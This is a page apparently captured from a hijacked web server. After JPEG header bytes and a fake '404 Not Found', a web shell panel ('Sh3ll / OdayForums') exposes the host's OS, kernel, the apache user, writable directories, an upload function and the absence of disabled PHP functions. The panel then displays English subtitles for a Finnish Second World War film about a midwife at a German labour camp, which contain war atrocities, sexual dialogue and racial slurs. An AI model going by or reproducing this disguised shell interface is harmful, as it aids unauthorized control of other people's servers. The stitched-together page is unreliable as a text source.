����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c892a64635e7-1552493156.vtt
WEBVTT - https://subtitletools.com

00:00:09.009 --> 00:00:10.682
THE LAPLAND WAR

00:00:10.761 --> 00:00:12.517
GERMANS HAVE BEEN IN CONTROL

00:00:12.596 --> 00:00:15.230
OF THE LAPLAND FRONT
IN FINLAND SINCE 1941.

00:00:15.307 --> 00:00:18.771
IN AUTUMN 1944, FINLAND SIGNS
AN ARMISTICE WITH THE SOVIET UNION.

00:00:18.852 --> 00:00:21.438
ONE OF THE CONDITIONS IS
THAT THE FINNS FORCE OUT

00:00:21.522 --> 00:00:24.239
THE GERMAN TROOPS
FROM FINLAND BY 15 SEPTEMBER 1944.

00:00:24.316 --> 00:00:26.238
OCTOBER 1944

00:00:26.318 --> 00:00:28.074
THE OPERATION IS STILL IN PROGRESS.

00:00:28.153 --> 00:00:32.163
THE NUMBER OF GERMAN TROOPS
REMAINING IN FINLAND IS ABOUT 200,000.

00:00:32.950 --> 00:00:37.339
THE CIVILIAN POPULATION
IS LEFT DEFENSELESS.

00:00:54.263 --> 00:01:00.313
IFJORD, ARCTIC OCEAN - NORWAY
26 SEPTEMBER 1944

00:01:08.861 --> 00:01:11.411
I am a midwife, by the grace of God

00:01:11.613 --> 00:01:14.662
and I write these lines to you,
Johannes.

00:01:14.867 --> 00:01:17.417
I feel you are alive somewhere.

00:01:17.744 --> 00:01:19.631
I feel it.

00:01:19.872 --> 00:01:24.095
In this world of imperfection and
sinners I am guilty of many things.

00:01:24.168 --> 00:01:26.636
But not of lack of love.

00:01:27.296 --> 00:01:31.222
I shall do as agreed and wait
for you at the Dead Man's Cabin.

00:01:31.341 --> 00:01:33.927
I will wait, even if I die.

00:01:34.428 --> 00:01:36.682
I love you forever.

00:02:12.216 --> 00:02:14.684
Take the pistol. It's loaded.

00:02:16.345 --> 00:02:19.726
Shoot the prisoners.
That's the price for the trip.

00:02:19.806 --> 00:02:21.646
Shoot the prisoners, damned Finn!

00:02:21.725 --> 00:02:23.813
Shoot the prisoners!

00:02:23.894 --> 00:02:25.816
Shoot!

00:02:26.772 --> 00:02:28.658
Shoot the prisoners!

00:02:29.149 --> 00:02:30.822
Shoot!

00:02:47.793 --> 00:02:51.055
- Stand there!
- Brothers in arms!

00:03:02.474 --> 00:03:04.978
Back into the sea!

00:03:07.771 --> 00:03:09.444
Faster!

00:03:09.606 --> 00:03:11.279
Faster!

00:03:29.376 --> 00:03:32.674
Is this where you want to die,
you silly girl?

00:03:39.094 --> 00:03:40.850
Forgive me, Johannes.

00:03:42.681 --> 00:03:45.398
Forgive me if I lack the strength.

00:03:45.475 --> 00:03:47.362
THE MIDWIFE

00:03:47.436 --> 00:03:49.904
Forgive me if I die.

00:03:57.237 --> 00:04:02.492
KOHTAKONGÄS / BORIS GLEB
PETSAMO - FINLAND, 15 JUNE 1944

00:04:04.870 --> 00:04:08.631
SIX MONTHS EARLIER

00:04:54.920 --> 00:04:57.055
The phone works again.

00:04:57.381 --> 00:05:02.020
- You need to go to Näkkälä.
- I'm not welcome there.

00:05:03.220 --> 00:05:06.150
- Will you manage now?
- We know you.

00:05:06.265 --> 00:05:10.227
You despise your foster mother
for helping women.

00:05:10.352 --> 00:05:12.191
I've said:

00:05:12.688 --> 00:05:16.994
Go to Aune Näkkälä when you
need the Devil's work done.

00:05:17.150 --> 00:05:20.781
I don't kill children,
they are gifts from God.

00:05:35.836 --> 00:05:38.422
Don't try to be better
than the others.

00:05:38.505 --> 00:05:40.557
Wildeye.

00:06:16.877 --> 00:06:20.804
The crap of a truck's stuck,
I need to get home quick!

00:06:21.340 --> 00:06:23.179
We been waiting for you, stepsister.

00:06:23.258 --> 00:06:26.307
Why can't she midwife
the one daughter she has?

00:06:26.386 --> 00:06:27.858
Lissu's calving now

00:06:27.930 --> 00:06:30.647
and you bloody marsh waif will help.

00:06:30.724 --> 00:06:33.987
Believe me, girl? Do you?

00:06:34.102 --> 00:06:39.026
With 200,000 Germans
loping in the fields

00:06:39.191 --> 00:06:42.655
maidens lose their virtue
and men their cattle.

00:06:44.613 --> 00:06:47.959
We'll push the truck off
and get down to business.

00:06:50.702 --> 00:06:52.790
Wehrmacht rocks the truck.

00:06:56.458 --> 00:06:58.344
What's up, Wildeye?

00:06:59.670 --> 00:07:01.342
Red bastard!

00:07:01.880 --> 00:07:04.181
Shut your trap, Jaakkima.

00:07:04.424 --> 00:07:08.268
No stutterer badmouths
my stepsister.

00:07:09.388 --> 00:07:11.191
Heil Hilter to you.

00:07:11.473 --> 00:07:13.810
Need to get back home.

00:07:14.142 --> 00:07:17.986
The midwife,
she's coming to help us.

00:07:50.596 --> 00:07:52.268
Give me the horn.

00:07:54.141 --> 00:07:56.691
It's bottom-down.

00:07:57.436 --> 00:07:59.357
Sister! I've never...

00:07:59.646 --> 00:08:03.158
Never let anyone do it from behind.

00:08:03.609 --> 00:08:06.539
Someone's schtupped this Skolt

00:08:06.653 --> 00:08:09.157
and God it wasn't.

00:08:12.326 --> 00:08:14.461
Shut up, Keskimölsä.

00:08:14.578 --> 00:08:16.583
You! Water, quickly.

00:08:20.876 --> 00:08:22.548
Heavens above!

00:08:22.920 --> 00:08:25.719
Lispetti birthed a negro.

00:08:26.882 --> 00:08:27.910
Dammit.

00:08:28.256 --> 00:08:32.102
Saw a negro once
at a fair with a crocodile.

00:08:32.596 --> 00:08:37.401
Now this negro's stuck it
in the wrong place.

00:08:40.020 --> 00:08:41.823
You shut up, too.

00:08:48.695 --> 00:08:49.895
Can you believe it?

00:08:50.111 --> 00:08:53.286
My own daughter shames me so.

00:08:55.244 --> 00:08:58.921
An actress,
she was a supposed to be.

00:08:59.915 --> 00:09:02.216
The new Greta Garbo.

00:09:03.001 --> 00:09:05.635
They should both die.

00:09:06.004 --> 00:09:09.433
- The mother and the kid.
- Looks like a live one.

00:09:09.800 --> 00:09:11.603
Into the bog.

00:09:11.718 --> 00:09:14.304
It won't see tomorrow.

00:09:16.473 --> 00:09:18.359
Smells healthy, too.

00:09:18.517 --> 00:09:21.614
Being born with fur
helps in the North.

00:09:21.728 --> 00:09:25.869
- The years will strip it off.
- What lies are you writing?

00:09:29.027 --> 00:09:31.993
- What a crock of lies!
- An official document.

00:09:32.072 --> 00:09:34.409
- What?
- A birth certificate.

00:09:34.491 --> 00:09:36.662
Hell, no!

00:09:48.714 --> 00:09:52.641
Evening. I came to take
photographs for our chronicle.

00:09:52.718 --> 00:09:54.390
In here.

00:09:59.933 --> 00:10:02.567
Will you pose for the photo, too?

00:10:23.123 --> 00:10:26.469
Bloody hell. Now this, too.

00:10:26.668 --> 00:10:29.598
A photographer to witness this shame.

00:10:29.796 --> 00:10:33.854
Not aloud! He speaks Finnish.

00:10:34.051 --> 00:10:36.768
His mother's Finnish.

00:10:52.194 --> 00:10:55.575
This man,
filmmaker Johann Angelhurst.

00:10:55.822 --> 00:10:59.169
- Wants to interview you for a magazine.
- Why?

00:10:59.284 --> 00:11:03.081
You're a midwife,
a strong woman of the new era.

00:11:04.414 --> 00:11:07.878
Germany needs them. Finland, too.

00:13:21.844 --> 00:13:25.474
Everyone's shagging
and panting in heat here.

00:13:25.889 --> 00:13:30.149
And I go round
these shitty hovels.

00:13:30.978 --> 00:13:32.513
Dear God.

00:13:32.934 --> 00:13:35.533
If you give me that man
and take me away from here.

00:13:35.607 --> 00:13:38.111
I will never ask you
for anything more.

00:13:38.193 --> 00:13:41.906
I am ready to die anywhere but here.

00:14:02.718 --> 00:14:06.561
Lispetti will try to screw that one.

00:14:08.765 --> 00:14:10.687
What's he filming for?

00:14:10.934 --> 00:14:13.900
That's the strangest thing.
He just films.

00:14:14.062 --> 00:14:18.819
Asked me to pose, too. But hell, no.

00:14:19.318 --> 00:14:21.654
I said yes.

00:14:22.404 --> 00:14:25.916
Hurry up then. He's leaving.

00:14:27.618 --> 00:14:29.789
Where's he going?

00:14:30.078 --> 00:14:32.499
The Titovka Camp, tomorrow.

00:14:49.848 --> 00:14:54.024
Still here, Wildeye?
In this den of sin?

00:14:54.102 --> 00:14:57.733
Isn't this the house you visit
when you need something?

00:14:57.814 --> 00:14:59.221
This is the house where

00:14:59.394 --> 00:15:02.987
friends get coffee, the enemies lead.

00:15:04.738 --> 00:15:06.992
This time, coffee.

00:15:07.449 --> 00:15:10.130
How is it with you,
Pietari's daughter?

00:15:10.202 --> 00:15:13.880
Need to work at the camp. Titovka.

00:15:17.459 --> 00:15:19.464
Why are you talking crazy?

00:15:20.254 --> 00:15:24.394
Your father thought we can do
what we want. Became a saboteur.

00:15:26.677 --> 00:15:28.563
Got himself killed!

00:15:30.180 --> 00:15:32.684
- You want that?
- Why ask it here?

00:15:33.100 --> 00:15:36.197
Things like that are done
in Rovaniemi.

00:15:36.270 --> 00:15:40.113
They won't take me.
They will check and find out

00:15:40.274 --> 00:15:45.826
- about father, and other things.
- Poor girl, scab nose.

00:15:46.029 --> 00:15:49.790
You want to screw that Fritz?

00:15:53.620 --> 00:15:55.293
Forget him.

00:15:55.455 --> 00:15:57.710
- Help me, stepbrother.
- I can't.

00:16:03.547 --> 00:16:06.347
You can. You can fix it.

00:16:06.550 --> 00:16:09.682
I won’t. It's no place for humans.

00:16:09.845 --> 00:16:12.348
Anything's better than now.

00:16:16.852 --> 00:16:20.031
Haven't you had enough
of bombs and death here?

00:16:40.459 --> 00:16:43.342
I know what happened to Lissu's kid.

00:16:43.670 --> 00:16:46.221
What's that? An eagle took it.

00:16:46.632 --> 00:16:49.785
I know where you buried it.
I gave it a proper burial.

00:16:50.088 --> 00:16:51.388
I can show you.

00:16:51.470 --> 00:16:53.724
Shut your trap, Wildeye.

00:17:02.105 --> 00:17:03.840
Are you stupid enough

00:17:04.353 --> 00:17:06.412
to want to go to the camp?

00:17:06.777 --> 00:17:09.790
You'll die there, come the armistice.

00:17:10.781 --> 00:17:12.620
I am.

00:17:20.666 --> 00:17:22.967
Shit. I'll fix it, then.

00:17:43.689 --> 00:17:46.903
TITOVKA LABOUR CAMP
THE SOVIET UNION, 13 JUNE 1944

00:17:46.984 --> 00:17:50.080
127 KM EAST OF THE FINNISH BORDER

00:17:50.612 --> 00:17:53.293
Promise to tell me if you see Heta?

00:17:53.365 --> 00:17:55.038
Yes, yes.

00:17:56.702 --> 00:17:59.549
Been looking for her
all through the war.

00:18:17.431 --> 00:18:19.436
DO NOT FEED
THE PRISONERS OF WAR

00:18:27.691 --> 00:18:31.784
Drive in, bootlegger.
Don't hit anything.

00:18:59.681 --> 00:19:01.402
Try to look like

00:19:01.558 --> 00:19:04.026
you've worked in camps like this.

00:19:05.521 --> 00:19:08.534
- What the fug-arse are those?
- My things.

00:19:08.857 --> 00:19:11.705
You're not going to a spa, you fool.

00:19:13.070 --> 00:19:14.956
Leave them be.

00:19:15.197 --> 00:19:17.878
Or they'll know we've been lying.

00:19:25.374 --> 00:19:27.461
Two ducks, one's dancing

00:19:27.626 --> 00:19:31.968
and the other looks at an onion.

00:19:32.589 --> 00:19:34.559
"It's better this way."

00:19:34.675 --> 00:19:36.644
And then the duck, honestly

00:19:36.802 --> 00:19:38.807
begins to eat the onion.

00:19:44.268 --> 00:19:45.988
Evening.

00:19:49.690 --> 00:19:52.158
We've been waiting for you.

00:19:53.652 --> 00:19:57.365
There'll be reindeer soup
and klinge for supper.

00:19:58.532 --> 00:20:03.004
There's the telephone,
power plant and the showers.

00:20:03.245 --> 00:20:05.879
The armoury and the food store.

00:20:06.039 --> 00:20:10.299
In this building, the sickbay
and some other operations.

00:20:11.670 --> 00:20:14.802
As you can see, every corner

00:20:14.965 --> 00:20:18.477
has a tower and a searchlight.

00:20:20.888 --> 00:20:24.316
So we can see if
the little miss tries to escape.

00:20:26.059 --> 00:20:29.523
But that's not for you Finns.

00:20:47.998 --> 00:20:50.548
Aleksey is an interpreter.

00:20:51.210 --> 00:20:54.971
Knows German, Finnish, Russian.

00:20:55.547 --> 00:20:58.644
And some strange Finno-Ugric
languages.

00:20:58.759 --> 00:21:02.306
I hardly learned a word for a year,
myself.

00:21:02.471 --> 00:21:04.891
Took me two years.

00:21:07.851 --> 00:21:10.734
Play the violin for us, boy.

00:21:17.694 --> 00:21:19.664
Please.

00:21:45.389 --> 00:21:47.228
A Finnish nurse.

00:21:47.474 --> 00:21:51.781
The Third Reich
values you especially.

00:22:09.413 --> 00:22:11.465
There are

00:22:11.665 --> 00:22:14.133
not many soldiers here.

00:22:14.293 --> 00:22:18.469
Trustee prisoners,
volunteers, SS men.

00:22:21.383 --> 00:22:25.393
How did you run the camps in Karelia?

00:22:25.637 --> 00:22:29.232
How does this compare?

00:22:33.896 --> 00:22:36.861
- It's difficult to...
- That's where you were.

00:22:36.982 --> 00:22:39.995
- At the Isthmus.
- This is finer.

00:22:50.078 --> 00:22:52.214
Leave us, please.

00:23:03.133 --> 00:23:07.558
- I should go to the sickbay.
- It's taken care of.

00:23:07.721 --> 00:23:11.862
Haataja, the other nurse,
runs it at the moment.

00:23:12.059 --> 00:23:14.906
Operation Kuhstall is her area.

00:23:14.978 --> 00:23:18.111
You handle the rest of the camp,
and the animals.

00:23:18.190 --> 00:23:22.449
Operation Kuhstall?
That's Cowshed, right?

00:23:22.611 --> 00:23:25.197
That's not your area, miss.

00:23:31.203 --> 00:23:34.715
Johann. You must take a photo of us.

00:23:47.886 --> 00:23:50.057
I don't know how to be in a picture.

00:23:50.264 --> 00:23:52.767
Finns and Germans

00:23:52.933 --> 00:23:55.152
we are one.

00:26:35.220 --> 00:26:38.068
I can give you a cure for the shakes.

00:26:38.265 --> 00:26:39.937
I've got it!

00:26:57.367 --> 00:26:59.040
Russian boy.

00:27:02.247 --> 00:27:04.584
We need soft soap, lye, cleanser.

00:27:04.750 --> 00:27:06.506
Make a list.

00:27:06.585 --> 00:27:09.433
What're you doing with the drugs?

00:27:10.506 --> 00:27:12.178
You hear?

00:27:13.342 --> 00:27:15.394
The name's Aleksey Ignatenko.

00:27:15.469 --> 00:27:18.518
I can't remember
every Russkie's name.

00:27:19.431 --> 00:27:21.602
Can I trust you?

00:27:24.228 --> 00:27:26.149
I don't know.

00:27:27.481 --> 00:27:30.578
I'm getting out of here. Tonight.

00:27:34.112 --> 00:27:36.082
You can't tell me that.

00:27:42.538 --> 00:27:45.966
I know what happens in the Cowshed.

00:27:49.962 --> 00:27:52.927
The Germans will kill me soon.

00:27:53.966 --> 00:27:55.638
I know too much.

00:27:58.804 --> 00:28:00.856
Well, I don't.

00:28:01.473 --> 00:28:04.522
Haven't seen the last ward.

00:28:06.270 --> 00:28:08.405
What goes on there?

00:28:11.525 --> 00:28:14.787
Promise to leave
the door open for me tonight?

00:28:16.280 --> 00:28:19.626
I'll make it look like
it's been broken down.

00:28:22.911 --> 00:28:24.584
I beg you.

00:28:35.424 --> 00:28:38.354
From my heart,
I wish you hadn't told me.

00:28:42.014 --> 00:28:44.233
The foot must come right off.

00:28:44.808 --> 00:28:46.481
Hold him still!

00:28:46.768 --> 00:28:48.441
Hold him still!

00:28:54.443 --> 00:28:56.448
And you keep your mouth shut.

00:29:13.045 --> 00:29:14.028
There will

00:29:14.286 --> 00:29:16.307
be load of bodies from the Cowshed.

00:29:16.381 --> 00:29:19.146
Bag them, report to me.

00:29:20.636 --> 00:29:22.937
What do you do there?

00:29:30.270 --> 00:29:31.991
Sin.

00:29:50.082 --> 00:29:51.885
Masha Petrov.

00:30:27.369 --> 00:30:31.249
You said you know
how to bathe a man.

00:30:32.749 --> 00:30:34.589
That I do.

00:30:37.629 --> 00:30:39.717
Shall I lie on this?

00:30:57.065 --> 00:30:58.738
You have such wild eyes

00:30:58.942 --> 00:31:01.078
and you know your herbs.

00:31:01.278 --> 00:31:04.078
I need to ask something.

00:31:06.074 --> 00:31:08.376
I have nightmares.

00:31:12.456 --> 00:31:14.128
What do you mean?

00:31:17.836 --> 00:31:19.282
Don't remember properly.

00:31:19.494 --> 00:31:23.186
Flashes. Of piles of corpses.

00:31:23.550 --> 00:31:25.223
Of death.

00:31:26.345 --> 00:31:29.726
I wake up at night and hear it.

00:31:31.266 --> 00:31:34.315
Women's laughter, every night.

00:31:42.152 --> 00:31:44.453
It's the Russkies.

00:31:44.530 --> 00:31:48.492
They play women's laughter
through enormous loudspeakers

00:31:48.575 --> 00:31:51.079
to drive the enemy mad.

00:32:11.390 --> 00:32:13.976
Don't go anywhere.
I'll be right back.

00:32:33.453 --> 00:32:35.790
That's enough. Take her away.

00:32:35.914 --> 00:32:37.884
- No!
- What?

00:32:37.958 --> 00:32:41.304
She's just a little girl,
she's no saboteur!

00:32:41.795 --> 00:32:43.847
- What the hell?
- She'll be my helper.

00:32:43.922 --> 00:32:47.933
Collects mushrooms and lichen.
I need one more hand.

00:32:48.886 --> 00:32:50.855
Into the Cowshed.

00:32:59.813 --> 00:33:02.494
All women in there! Faster!

00:33:02.816 --> 00:33:05.320
Everyone in!

00:33:07.362 --> 00:33:10.210
Everyone in! Faster!

00:33:31.970 --> 00:33:33.940
We'll prepare the prisoners.

00:33:34.014 --> 00:33:35.936
Shave the hair, delousing.

00:33:36.141 --> 00:33:38.063
Boil the rags properly.

00:33:38.143 --> 00:33:40.480
Pregnant ones into quarantine.

00:33:40.562 --> 00:33:42.817
Undress, clothes here.

00:33:43.440 --> 00:33:45.908
Undress, clothes here.

00:34:48.547 --> 00:34:53.268
♪ Our home, our soul ♪

00:34:53.760 --> 00:34:59.229
♪ Our home, our soul... ♪

00:35:57.366 --> 00:35:59.869
What's happened?
Where're you going?

00:35:59.952 --> 00:36:03.048
To a manhunt.
The Russkie boy got away.

00:36:03.121 --> 00:36:05.458
There's a bounty on his head.

00:36:07.000 --> 00:36:11.342
- And if they catch him?
- He's got no chance.

00:36:11.755 --> 00:36:16.180
They'll smell him like a wolverine.
Play with him before the kill.

00:36:16.260 --> 00:36:19.606
- You mustn't kill him.
- If they bring him to the camp

00:36:19.680 --> 00:36:22.942
he'll dig his own grave.

00:36:23.600 --> 00:36:26.448
Then a bullet in the neck.

00:36:28.063 --> 00:36:30.400
That's his life now.

00:36:33.861 --> 00:36:35.012
I'll come with you.

00:36:35.307 --> 00:36:39.116
I can help him
if we get him out alive.

00:36:42.911 --> 00:36:44.584
I'll get my gear.

00:37:55.108 --> 00:38:00.079
- Johannes. What are they doing?
- Removing mines. Don't worry.

00:38:04.326 --> 00:38:05.998
Listen.

00:38:06.995 --> 00:38:11.136
Can you keep the boy alive
when they find him?

00:38:14.419 --> 00:38:16.259
I don't think so.

00:38:19.883 --> 00:38:21.556
Down!

00:39:11.685 --> 00:39:13.358
Helena!

00:39:13.437 --> 00:39:15.323
Helena!

00:40:27.094 --> 00:40:29.348
I can breathe here.

00:40:29.763 --> 00:40:31.489
You run out of oxygen in the camp.

00:40:31.751 --> 00:40:33.524
Have you noticed?

00:40:39.106 --> 00:40:42.119
We're in the war now,
but we'll make it.

00:40:42.192 --> 00:40:44.114
Don't worry.

00:40:47.990 --> 00:40:51.288
Did you have someone
to stroke you in Germany?

00:40:51.451 --> 00:40:53.753
Where do we go now?

00:40:54.705 --> 00:40:56.626
We'll look for a shelter.

00:40:56.707 --> 00:40:59.969
Return to the camp
when the situation calms down.

00:41:00.043 --> 00:41:03.472
Behind that hill is a cabin
near the Arctic Ocean.

00:41:03.672 --> 00:41:06.685
We'll be safe there,
try to get radio contact.

00:41:41.376 --> 00:41:44.674
Hell, no. I knows this place.

00:41:44.796 --> 00:41:47.382
I'm not coming there, no.

00:41:47.508 --> 00:41:50.640
Dead Man's Cabin, not good for me.
We'll continue.

00:41:50.719 --> 00:41:53.270
We'll stay here. An ordinary cabin.

00:41:56.350 --> 00:41:58.853
You learn these things
when men go crazy

00:41:58.936 --> 00:42:01.154
because of you Fritzes
and lock up their women.

00:42:01.230 --> 00:42:04.907
I'm not coming in there.
This place is not on any map.

00:42:04.983 --> 00:42:07.664
- A man's just been killed here.
- Don't fuss.

00:42:07.736 --> 00:42:09.457
I know it!

00:42:10.239 --> 00:42:12.659
That's the Devil's den!

00:42:12.783 --> 00:42:15.915
I already got all the devils I need.

00:42:51.280 --> 00:42:54.412
Where's the Bootlegger?
I heard shouting.

00:42:55.784 --> 00:42:59.378
Jouni went to look for help.
Don't worry about him.

00:43:04.501 --> 00:43:07.265
- What's that?
- My medicine.

00:43:07.337 --> 00:43:09.010
From Gödel.

00:43:21.476 --> 00:43:24.442
A beautiful trunk,
and a beautiful woman.

00:43:24.730 --> 00:43:27.447
That's what I found here.

00:43:32.237 --> 00:43:34.741
Don't know about the trunk.

00:43:35.699 --> 00:43:38.463
Don't know about the woman.

00:43:39.745 --> 00:43:41.465
Both are locked.

00:44:12.528 --> 00:44:17.036
- Why don't you take a picture of me?
- All right.

00:44:17.533 --> 00:44:21.294
You think God will see us here.

00:44:21.828 --> 00:44:23.881
But he won't.

00:44:28.418 --> 00:44:31.004
I am all yours if you want me.

00:44:31.672 --> 00:44:33.558
I won't touch you.

00:44:34.174 --> 00:44:35.930
You are a good person.

00:44:37.261 --> 00:44:39.479
Nothing wrong with you.

00:44:42.808 --> 00:44:46.402
You think I'm hot-blooded?

00:45:02.327 --> 00:45:05.341
Is my pussy the right way?

00:45:11.044 --> 00:45:14.675
- Just the way it should.
- Let me show you what you are.

00:45:14.923 --> 00:45:18.221
Inside me, you will see it.

00:45:24.433 --> 00:45:27.363
- What am I?
- You are...

00:45:28.020 --> 00:45:30.321
A good man, Johannes.

00:47:11.456 --> 00:47:13.925
The war has not touched you, Wildeye.

00:47:14.126 --> 00:47:16.629
We're at the same camp.

00:47:22.551 --> 00:47:24.223
What is it with you?

00:47:24.344 --> 00:47:27.025
Always so sad-eyed.

00:47:28.640 --> 00:47:30.480
We'll get married.

00:47:30.809 --> 00:47:33.028
Get permission from Gödel.

00:47:33.937 --> 00:47:35.777
Or Hilter himself.

00:47:36.023 --> 00:47:38.953
I'm not going back to that camp.

00:47:41.570 --> 00:47:45.746
I can sleep here.
This place is not on any map.

00:47:47.784 --> 00:47:50.003
It's just us here.

00:47:54.374 --> 00:47:56.380
Just us.

00:47:57.628 --> 00:47:59.799
If we ever get separated

00:47:59.880 --> 00:48:01.885
we'll meet again here.

00:48:02.716 --> 00:48:05.564
Dead Man's Cabin. Promise?

00:48:06.595 --> 00:48:08.434
I promise.

00:48:09.389 --> 00:48:13.565
I'll wait for you here even
if I get lead poisoning.

00:48:14.436 --> 00:48:17.236
And the Stalin's Organs roar.

00:48:32.329 --> 00:48:34.666
Show me your photos.

00:48:35.374 --> 00:48:37.130
I won't.

00:48:37.876 --> 00:48:41.803
Of your family. Your life.

00:48:42.756 --> 00:48:45.176
I have no family of my own.

00:48:45.509 --> 00:48:47.181
No.

00:48:47.594 --> 00:48:51.735
I want to learn you. I want to

00:48:52.099 --> 00:48:56.061
look through your eyes
and see everything inside.

00:48:59.815 --> 00:49:02.449
I wonder what that would be.

00:49:02.568 --> 00:49:04.869
Your true soul.

00:49:07.948 --> 00:49:10.119
I have eyes that see.

00:49:11.076 --> 00:49:13.212
That's why I'm the Wildeye.

00:49:15.205 --> 00:49:17.673
I can see. Everything.

00:49:18.292 --> 00:49:20.546
Your soul.

00:49:21.461 --> 00:49:23.301
Whatever that is.

00:49:25.340 --> 00:49:26.146
What now?

00:49:26.408 --> 00:49:29.766
I'll climb the hill, see
if can raise them on the radio.

00:49:29.845 --> 00:49:32.230
Report where we are

00:49:32.306 --> 00:49:34.358
so you won't get in trouble.

00:49:34.433 --> 00:49:36.319
I don't care.

00:51:06.817 --> 00:51:08.656
Forgot the camera case.

00:51:10.487 --> 00:51:13.501
Where did you get them?

00:51:15.993 --> 00:51:18.080
They're my work.

00:51:20.414 --> 00:51:22.834
Why did you do that?

00:51:26.545 --> 00:51:28.515
Why did you do that?

00:51:35.345 --> 00:51:38.857
I don't care about them.
That's war! But tell me!

00:51:52.196 --> 00:51:56.585
BABI YAR - UKRAINE
19 SEPTEMBER 1941

00:53:11.483 --> 00:53:13.322
Those photos.

00:53:14.194 --> 00:53:17.706
They're straight
from my nightmares or

00:53:18.073 --> 00:53:19.829
even worse.

00:53:23.579 --> 00:53:26.793
Have you done such things?

00:53:28.333 --> 00:53:30.552
Yes, or...

00:53:31.295 --> 00:53:33.382
I can't remember.

00:53:34.089 --> 00:53:37.518
It was long ago in Babi Yar.

00:53:46.059 --> 00:53:49.239
Gödel killed a lot of people.

00:53:49.479 --> 00:53:51.781
Or we killed a lot of people.

00:53:51.940 --> 00:53:54.159
I can't remember!

00:54:02.034 --> 00:54:04.169
- Helena!
- Oh, hell.

00:54:04.411 --> 00:54:06.214
Kneel there.

00:54:10.667 --> 00:54:12.554
Damn you.

00:54:13.420 --> 00:54:15.093
Right.

00:54:15.214 --> 00:54:18.346
This one was in a barn,
sheltering from the rain.

00:54:18.509 --> 00:54:23.397
- Why did you bring him?
- I meant to shoot him.

00:54:23.680 --> 00:54:27.524
Then we shook hands.

00:54:27.726 --> 00:54:29.731
I'll get money for this one.

00:54:31.813 --> 00:54:34.910
He's been hiding
in a potato cellar all week.

00:54:36.068 --> 00:54:38.785
We may all be charged for it.

00:54:39.863 --> 00:54:41.619
He must be shot.

00:54:45.786 --> 00:54:49.167
Write the documents for him.
He's a good boy.

00:54:50.332 --> 00:54:52.005
I can't.

00:54:52.584 --> 00:54:56.891
- Half a dozen men are looking for him.
- I helped him escape.

00:54:58.841 --> 00:55:03.017
- He's my trustee. You won't shoot him.
- Dammit. We must kill him.

00:55:03.095 --> 00:55:05.266
Help me escape.

00:55:06.265 --> 00:55:08.067
You are a good person.

00:55:11.395 --> 00:55:13.530
Let's go! He's dead!

00:55:42.050 --> 00:55:44.102
Thank you. You must go.

00:55:59.526 --> 00:56:01.448
We have missed you.

00:56:02.362 --> 00:56:05.495
You're the only nurse
in the camp now.

00:56:10.412 --> 00:56:13.378
Your new job begins
in the Cowshed tomorrow.

00:56:23.217 --> 00:56:26.016
My brother. We've got work for you.

00:56:26.094 --> 00:56:28.431
Do you have any medicine?

00:56:29.431 --> 00:56:32.729
You should just kill yourself.

00:58:15.120 --> 00:58:17.540
Proper music. And theatre.

00:58:17.664 --> 00:58:19.504
You miss them here.

00:58:19.583 --> 00:58:21.255
Civilization.

00:58:27.341 --> 00:58:30.021
She drinks.
A promising beginning.

00:58:37.100 --> 00:58:39.402
Devil's piss. Shit.

00:58:40.729 --> 00:58:41.910
Now, miss.

00:58:42.126 --> 00:58:45.154
What happened
and where were you that week?

00:58:45.234 --> 00:58:46.790
It was just like

00:58:47.048 --> 00:58:49.196
Jouni and Johannes said.

00:58:50.405 --> 00:58:52.208
We got caught in the raid.

00:58:52.407 --> 00:58:56.168
Found a car, drove to the camp.

00:58:56.370 --> 00:59:00.546
- Really? Did you see the fugitive?
- No.

00:59:11.844 --> 00:59:13.979
So hardy.

00:59:17.307 --> 00:59:20.522
Like a... What are they...

00:59:24.773 --> 00:59:26.612
Dwarf birch.

00:59:29.570 --> 00:59:32.155
Johann is not
a completely healthy man.

00:59:32.239 --> 00:59:34.789
Nothing wrong with him.

00:59:38.579 --> 00:59:41.627
A broken frontal bone.
You know why?

00:59:41.832 --> 00:59:44.169
In the Ukraine, at Babi Yar.

00:59:44.334 --> 00:59:47.632
Johann and the men were having fun.

00:59:47.838 --> 00:59:52.097
Shot young swallows at a sandpit.

00:59:55.971 --> 00:59:57.857
Killed thousands.

00:59:58.473 --> 01:00:00.360
Tens of thousands.

01:00:01.685 --> 01:00:03.405
I tried to stop them.

01:00:04.062 --> 01:00:06.198
What did he do?

01:00:07.983 --> 01:00:10.996
Broke my skull with a Mauser.

01:00:13.780 --> 01:00:15.786
That's not true!

01:00:21.079 --> 01:00:22.752
What the hell?

01:00:24.082 --> 01:00:27.345
That's the commandant's chair.

01:00:29.004 --> 01:00:31.009
A wooden chair.

01:00:31.798 --> 01:00:34.267
- Get up!
- Why?

01:00:35.219 --> 01:00:36.891
Will you shoot me?

01:00:37.179 --> 01:00:38.851
Get up.

01:00:38.972 --> 01:00:41.060
This chair.

01:00:41.975 --> 01:00:43.980
Smells of shit!

01:00:44.770 --> 01:00:48.151
A hint of cognac.

01:01:00.285 --> 01:01:04.212
You are the most courageous
woman I know.

01:01:06.166 --> 01:01:09.760
Who may decide

01:01:13.006 --> 01:01:15.854
who lives and who dies?

01:01:16.718 --> 01:01:18.391
The hell I know?

01:01:18.554 --> 01:01:23.145
Believe me, I don't know either.
I just follow orders.

01:01:29.231 --> 01:01:30.903
That's all.

01:01:32.609 --> 01:01:36.073
You cut and collect.
Begin with that.

01:01:38.532 --> 01:01:40.204
Shut the door.

01:01:55.215 --> 01:01:57.516
Turn around!

01:01:57.843 --> 01:02:00.524
One by one, to the right!

01:02:26.955 --> 01:02:28.758
The Cowshed.

01:02:29.249 --> 01:02:31.800
It's no place for humans.

01:02:33.003 --> 01:02:36.634
Fear not. I promise to get
you out of there, Wildeye.

01:02:36.882 --> 01:02:39.302
Haataja had a different job.

01:02:40.010 --> 01:02:41.683
Believe me.

01:02:46.141 --> 01:02:49.190
Tell me about your mother.

01:02:53.232 --> 01:02:56.038
My mother Annikki and
my father Fritz Angelhurst

01:02:56.254 --> 01:02:58.202
met in Petsamo.

01:02:59.404 --> 01:03:01.623
